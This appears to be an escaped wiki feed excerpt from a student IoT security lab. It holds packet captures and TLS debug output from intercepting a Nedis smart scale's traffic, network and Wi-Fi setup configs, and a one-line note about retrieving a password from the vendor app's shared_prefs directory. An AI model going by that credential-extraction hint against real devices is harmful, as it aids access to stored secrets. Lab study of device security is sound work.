.W-&amp;quot;....q....`....+........&lt;br /&gt;
12:36:44.025269 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.22317: Flags [R.], seq 0, ack 6514, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.W-.......rP.......&lt;br /&gt;
12:36:45.025301 IP 172.16.10.105.31465 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6517, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O4..&lt;br /&gt;
i..&lt;br /&gt;
.z.&amp;quot;....u....`...ck......E.&lt;br /&gt;
12:36:45.025318 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.31465: Flags [R.], seq 0, ack 6518, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.z........vP....0..&lt;br /&gt;
12:36:46.025500 IP 172.16.10.105.9070 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6521, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O3..&lt;br /&gt;
i..&lt;br /&gt;
.#n&amp;quot;....y....`.............&lt;br /&gt;
12:36:46.025517 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.9070: Flags [R.], seq 0, ack 6522, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.#n.......zP.......&lt;br /&gt;
12:36:47.033189 IP 172.16.10.105.51179 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6527, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O2..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...._......y.&lt;br /&gt;
12:36:47.033206 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.51179: Flags [R.], seq 0, ack 6528, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...?$..&lt;br /&gt;
12:36:47.263020 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:48.287049 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:48.653641 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4B...................&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....Q..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:48.663352 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4.L.......p..........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....Q..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:48.674677 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i&amp;gt;#tB./..P.........&lt;br /&gt;
12:36:48.993649 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
ir...P.............&lt;br /&gt;
12:36:49.311055 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:49.490922 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i.......x....D.....&lt;br /&gt;
12:36:49.492262 ARP, Reply 172.16.10.105 is-at a4:e5:7c:16:2d:4c (oui Unknown), length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i..&amp;gt;#tB..&lt;br /&gt;
...................&lt;br /&gt;
12:36:49.515651 IP 172.16.10.105.29415 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6536, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O...&lt;br /&gt;
i..&lt;br /&gt;
.r.&amp;quot;.........`...kZ........&lt;br /&gt;
12:36:49.515669 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.29415: Flags [R.], seq 0, ack 6537, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.r.........P.......&lt;br /&gt;
12:36:49.518628 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [S], seq 6539, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O-..&lt;br /&gt;
i..&lt;br /&gt;
.z]..........`.............&lt;br /&gt;
12:36:49.518648 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [S.], seq 1378912894, ack 6540, win 64240, options [m&lt;br /&gt;
ss 1460], length 0&lt;br /&gt;
E..,..@.@..A..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0.~....`...l.......&lt;br /&gt;
12:36:49.523505 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [.], ack 1, win 4380, length 0&lt;br /&gt;
E..(......O0..&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P........a3.tu&lt;br /&gt;
12:36:49.527055 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [P.], seq 1:68, ack 1, win 4380, length 67&lt;br /&gt;
E..k......N...&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P...G?......&amp;gt;...:..BAohBAohbmd6aG91IFR1eVjaG5vbG9SB........................&lt;br /&gt;
12:36:49.527081 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [.], ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@..X..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l...&lt;br /&gt;
12:36:49.527462 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [P.], seq 1:8, ack 68, win 64173, length 7&lt;br /&gt;
E../..@.@..P..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l.........(&lt;br /&gt;
12:36:49.527530 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [F.], seq 8, ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@..V..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l...&lt;br /&gt;
12:36:49.569636 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [.], ack 8, win 4373, length 0&lt;br /&gt;
E..(......O...&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P..........C.@&lt;br /&gt;
12:36:49.574893 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [R.], seq 68, ack 8, win 4380, length 0&lt;br /&gt;
E..(......O-..&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P..........&lt;br /&gt;
..&lt;br /&gt;
12:36:50.310055 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i........ ....&amp;gt;....&lt;br /&gt;
12:36:53.526624 IP 172.16.10.105.48314 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6547, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;amp;..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...!|........&lt;br /&gt;
12:36:53.526669 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.48314: Flags [R.], seq 0, ack 6548, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...JA..&lt;br /&gt;
12:36:54.536817 IP 172.16.10.105.44185 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6567, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O%..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...1.........&lt;br /&gt;
12:36:54.536835 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.44185: Flags [R.], seq 0, ack 6568, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...ZN..&lt;br /&gt;
12:36:55.545631 IP 172.16.10.105.26626 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6589, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O$..&lt;br /&gt;
i..&lt;br /&gt;
.h.&amp;quot;.........`...v&lt;br /&gt;
........&lt;br /&gt;
12:36:55.545649 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.26626: Flags [R.], seq 0, ack 6590, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.h.........P.......&lt;br /&gt;
12:36:56.554680 IP 172.16.10.105.16244 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6611, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O#..&lt;br /&gt;
i..&lt;br /&gt;
.?t&amp;quot;.........`.............&lt;br /&gt;
12:36:56.554698 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.16244: Flags [R.], seq 0, ack 6612, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.?t........P....G..&lt;br /&gt;
^C&lt;br /&gt;
57 packets captured&lt;br /&gt;
57 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;port 8886 chez tuya ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 00 00 00 00   d6aG91IFR1eV....&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 00   ...:..BAohBAohb.&lt;br /&gt;
0010 - 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 00 00 00 00-00 00 00 00 00 00 00 00   d6aG............&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;trouver un mdp dans l'appli nedis /data/data/com.nedis.smartlife/shared_prefs&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10910</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10910"/>
		<updated>2025-12-02T15:16:59Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Nedis Wi-Fi Smart Personal Scales */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
